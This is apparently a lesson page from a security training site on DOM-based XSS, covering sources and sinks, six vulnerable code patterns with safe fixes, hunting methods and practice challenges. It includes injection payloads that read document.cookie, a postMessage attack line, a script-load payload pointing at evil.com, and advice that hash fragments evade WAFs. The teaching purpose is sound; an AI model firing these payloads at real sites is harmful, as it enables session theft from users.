DOM-Based XSS

intermediate35 minWriteup

Client-side XSS through DOM manipulation and JavaScript sinks

Learning Objectives

  • Understand DOM-based XSS
  • Identify sources and sinks
  • Exploit common JavaScript patterns
  • Test for DOM XSS vulnerabilities

When the Browser Attacks Itself

Reflected and stored XSS need the server to mess up. DOM-based XSS is different - the server might send back perfectly safe HTML, but the JavaScript running in your browser turns innocent data into an attack. It's like hiring a security guard who accidentally lets in burglars.

In DOM-based XSS, the vulnerability exists entirely in client-side code. JavaScript reads user input from somewhere (a "source"), processes it unsafely, and passes it somewhere dangerous (a "sink"). The server never sees the payload - it all happens in the browser.

This is the trickiest XSS type to find because traditional scanning tools that analyze server responses won't detect it. You need to understand JavaScript and analyze client-side code.

Sources and Sinks: The Deadly Combo

DOM-based XSS requires two components:

  • Source: Where attacker-controlled data enters the application (URL, cookies, localStorage, postMessage, etc.)
  • Sink: Where that data is used in a dangerous way (innerHTML, eval, document.write, etc.)

Common Sources

javascript
1606070;">// URL-based sources (most common)
2location.href 606070;">// Full URL
3location.hash 606070;">// Fragment: #...
4location.search 606070;">// Query string: ?...
5location.pathname 606070;">// Path: /page/...
6document.URL 606070;">// Same as location.href
7document.documentURI 606070;">// Same as above
8document.referrer 606070;">// Previous page URL
9 
10606070;">// Window sources
11window.name 606070;">// Can be set by other windows!
12postMessage data 606070;">// Cross-origin messaging
13 
14606070;">// Storage sources
15document.cookie 606070;">// All cookies
16localStorage.getItem() 606070;">// Persistent storage
17sessionStorage.getItem() 606070;">// Session storage
18 
19606070;">// Input sources
20document.getElementById(606070;">#a5d6ff;">'input').value // Form inputs
21FormData 606070;">// Form data

Dangerous Sinks

javascript
1606070;">// HTML Injection Sinks
2element.innerHTML = userInput; 606070;">// Parses HTML!
3element.outerHTML = userInput; 606070;">// Parses HTML!
4document.write(userInput); 606070;">// Writes to document
5document.writeln(userInput); 606070;">// Same + newline
6 
7606070;">// JavaScript Execution Sinks
8eval(userInput); 606070;">// Executes as JS!
9setTimeout(userInput, 1000); 606070;">// If string, executes as JS
10setInterval(userInput, 1000); 606070;">// Same
11new Function(userInput)(); 606070;">// Creates + executes function
12script.src = userInput; 606070;">// Loads external script
13script.textContent = userInput; 606070;">// Executes as JS
14 
15606070;">// URL Sinks
16location.href = userInput; 606070;">// Redirects + possible javascript:
17location.assign(userInput); 606070;">// Same
18location.replace(userInput); 606070;">// Same
19window.open(userInput); 606070;">// Opens URL
20element.src = userInput; 606070;">// Various tags (iframe, script, img)
21element.href = userInput; 606070;">// Links, base tag
22 
23606070;">// Indirect Sinks
24jQuery.html(userInput); 606070;">// jQuery equivalent of innerHTML
25$(element).html(userInput); 606070;">// Same
26element.insertAdjacentHTML(pos, userInput); 606070;">// Inserts HTML
Not all sources and sinks are equal. The most dangerous combinations involve user-controlled URL components (especially hash and search) flowing into innerHTML or eval().

The Attack Flow

1TRADITIONAL XSS:
2User Input → Server → Response → Browser → XSS
3 
4DOM-BASED XSS:
5User Input → Browser JavaScript → DOM Manipulation → XSS
6 (Server never sees the payload!)
7 
8EXAMPLE VULNERABLE CODE:
9─────────────────────────
10<script>
11606070;">// Get search term from URL hash
12var search = location.hash.substring(1);
13 
14606070;">// Display it on the page (VULNERABLE!)
15document.getElementById(606070;">#a5d6ff;">'output').innerHTML =
16 606070;">#a5d6ff;">"You searched for: " + search;
17</script>
18 
19ATTACK:
201. Attacker creates URL:
21 https:606070;">//site.com/search#<img src=x onerror=alert(document.cookie)>
22 
232. Victim clicks link
24 
253. Browser loads page - server returns safe HTML
26 
274. JavaScript reads location.hash (606070;">#<img src=x onerror=...>)
28 
295. JavaScript sets innerHTML with attacker payload
30 
316. Browser parses the HTML, img onerror fires, XSS!
32 
33THE SERVER NEVER SAW THE PAYLOAD!
34(It was after the 606070;"># in the URL, which isn't sent to servers)
The hash (#) portion of a URL is NOT sent to the server. This means server-side WAFs and filters are completely blind to DOM XSS payloads delivered via the hash!

Vulnerable Code Patterns

Pattern 1: Direct innerHTML Assignment

javascript
1606070;">// VULNERABLE: URL parameter directly to innerHTML
2var name = new URLSearchParams(location.search).get(606070;">#a5d6ff;">'name');
3document.getElementById(606070;">#a5d6ff;">'greeting').innerHTML =
4 606070;">#a5d6ff;">'Hello, ' + name + '!';
5 
6606070;">// Attack: ?name=<img src=x onerror=alert(1)>
7 
8606070;">// SAFE: Use textContent instead
9document.getElementById(606070;">#a5d6ff;">'greeting').textContent =
10 606070;">#a5d6ff;">'Hello, ' + name + '!';

Pattern 2: Hash-Based Routing

javascript
1606070;">// VULNERABLE: Hash used to load content
2window.onhashchange = function() {
3 var page = location.hash.substring(1);
4 document.getElementById(606070;">#a5d6ff;">'content').innerHTML =
5 606070;">#a5d6ff;">'<h1>' + page + '</h1>';
6};
7 
8606070;">// Attack: #<script>alert(1)</script>
9606070;">// Or: #<img/src=x onerror=alert(1)>
10 
11606070;">// SAFE: Whitelist valid pages
12var validPages = [606070;">#a5d6ff;">'home', 'about', 'contact'];
13if (validPages.includes(page)) {
14 document.getElementById(606070;">#a5d6ff;">'content').innerHTML =
15 606070;">#a5d6ff;">'<h1>' + page + '</h1>';
16}

Pattern 3: Dynamic Script Loading

javascript
1606070;">// VULNERABLE: User input in script src
2var widget = new URLSearchParams(location.search).get(606070;">#a5d6ff;">'widget');
3var script = document.createElement(606070;">#a5d6ff;">'script');
4script.src = 606070;">#a5d6ff;">'/widgets/' + widget + '.js';
5document.body.appendChild(script);
6 
7606070;">// Attack: ?widget=../../../evil.com/malware
8 
9606070;">// SAFE: Whitelist valid widgets
10var validWidgets = [606070;">#a5d6ff;">'calendar', 'weather', 'news'];
11if (validWidgets.includes(widget)) {
12 606070;">// ... safe to load
13}

Pattern 4: eval() Usage

javascript
1606070;">// VULNERABLE: URL param in eval
2var calc = new URLSearchParams(location.search).get(606070;">#a5d6ff;">'calc');
3var result = eval(calc);
4document.getElementById(606070;">#a5d6ff;">'result').textContent = result;
5 
6606070;">// Attack: ?calc=alert(document.cookie)
7 
8606070;">// SAFE: Use a proper expression parser
9606070;">// Or restrict to numeric operations only

Pattern 5: jQuery Pitfalls

javascript
1606070;">// VULNERABLE: Selector from URL
2var id = location.hash.substring(1);
3$(id).addClass(606070;">#a5d6ff;">'highlight');
4 
5606070;">// Attack: #<img src=x onerror=alert(1)>
6606070;">// jQuery $() creates elements if given HTML!
7 
8606070;">// SAFE: Escape or validate the input
9var id = location.hash.substring(1);
10if (/^[a-zA-Z0-9_-]+$/.test(id)) {
11 $(606070;">#a5d6ff;">'#' + id).addClass('highlight');
12}

Pattern 6: postMessage

javascript
1606070;">// VULNERABLE: No origin check
2window.addEventListener(606070;">#a5d6ff;">'message', function(event) {
3 document.getElementById(606070;">#a5d6ff;">'content').innerHTML = event.data;
4});
5 
6606070;">// Attack from any page:
7606070;">// targetWindow.postMessage('<img src=x onerror=alert(1)>', '*');
8 
9606070;">// SAFE: Verify origin
10window.addEventListener(606070;">#a5d6ff;">'message', function(event) {
11 if (event.origin !== 606070;">#a5d6ff;">'https://trusted-site.com') {
12 return; 606070;">// Reject messages from untrusted origins
13 }
14 606070;">// Still shouldn't use innerHTML!
15 document.getElementById(606070;">#a5d6ff;">'content').textContent = event.data;
16});

Finding DOM XSS

DOM XSS Hunting Process

1
Identify JavaScript Files
  • View page source, find all <script> tags
  • Check for inline JavaScript
  • Use DevTools Network tab to find loaded .js files
2
Search for Sinks
  • Search for: innerHTML, outerHTML, document.write
  • Search for: eval, setTimeout, setInterval, Function
  • Search for: location.href =, location.assign
  • Search for: jQuery.html, $.html
3
Trace Data Flow
  • What data reaches each sink?
  • Can you control that data via URL, hash, or other sources?
  • Is there any sanitization between source and sink?
4
Test the Flow
  • Inject a unique string in suspected sources
  • Check if it reaches the sink unmodified
  • Try XSS payloads appropriate for the sink

Automated Tools

1BROWSER TOOLS
2─────────────
3Chrome DevTools:
4- Sources tab → Search across all scripts
5- Console → Monitor DOM changes
6- DOM Breakpoints → Break when nodes change
7 
8Firefox Developer Tools:
9- Similar functionality to Chrome
10 
11SPECIALIZED TOOLS
12─────────────────
13DOM Invader (Burp Suite):
14- Automatically finds sources and sinks
15- Traces data flow
16- Suggests attack payloads
17 
18DOMPurify:
19- Not a scanner, but a sanitizer
20- Learning what it blocks teaches you what's dangerous
21 
22MANUAL GREP PATTERNS
23────────────────────
24606070;"># Find sinks in JS files
25grep -E 606070;">#a5d6ff;">"(innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|setInterval\()" *.js
26 
27606070;"># Find sources
28grep -E 606070;">#a5d6ff;">"(location\.(hash|search|href)|document\.URL|document\.referrer)" *.js

Interactive Practice

Identify the Vulnerability
text

Analyze this JavaScript code. What is the source, what is the sink, and what would be an attack URL? var params = new URLSearchParams(window.location.search); var message = params.get('msg'); document.getElementById('alert-box').innerHTML = '<div class="alert">' + message + '</div>';

Practice Challenges

Hash Fragment Attack

Challenge
🔥 medium

A single-page app uses this code for navigation: window.addEventListener('hashchange', function() { var section = decodeURIComponent(location.hash.slice(1)); var template = document.getElementById(section + '-template'); if (template) { document.getElementById('main').innerHTML = template.innerHTML; } else { document.getElementById('main').innerHTML = '<h1>Section: ' + section + '</h1><p>Coming soon!</p>'; } }); Find a way to execute JavaScript via the URL hash.

Need a hint? (3 available)

PostMessage Exploitation

Challenge
🔥 medium

A website has a support chat widget that receives messages like this: window.addEventListener('message', function(e) { var data = JSON.parse(e.data); if (data.type === 'chat') { var chatDiv = document.createElement('div'); chatDiv.className = 'chat-message'; chatDiv.innerHTML = '<b>' + data.sender + '</b>: ' + data.message; document.getElementById('chat-container').appendChild(chatDiv); } }); You control another website. Craft the code to exploit this.

Need a hint? (4 available)

jQuery Selector Injection

Challenge
🔥 medium

A web app highlights selected items: $(document).ready(function() { var item = location.hash.substring(1); if (item) { // Highlight the selected item $('.item-' + item).addClass('selected'); // Show item details var details = '<div class="details">' + '<h3>Item: ' + item + '</h3>' + '<p>Details loading...</p></div>'; $('#detail-panel').html(details); } }); Find XSS through the hash.

Need a hint? (4 available)

Knowledge Check

DOM XSS Quiz
Question 1 of 5

What makes DOM-based XSS different from reflected/stored XSS?

Key Takeaways

  • DOM XSS is client-side - the server never sees the payload, so server-side protections don't help
  • Sources (location.hash, postMessage, localStorage) flow to sinks (innerHTML, eval, document.write)
  • location.hash bypasses WAFs because the fragment is never sent to the server
  • Use textContent, not innerHTML when displaying user-controlled text
  • Always validate postMessage origins and never trust the message data
  • Manual code review is often needed - automated scanners miss many DOM XSS vulnerabilities

Related Lessons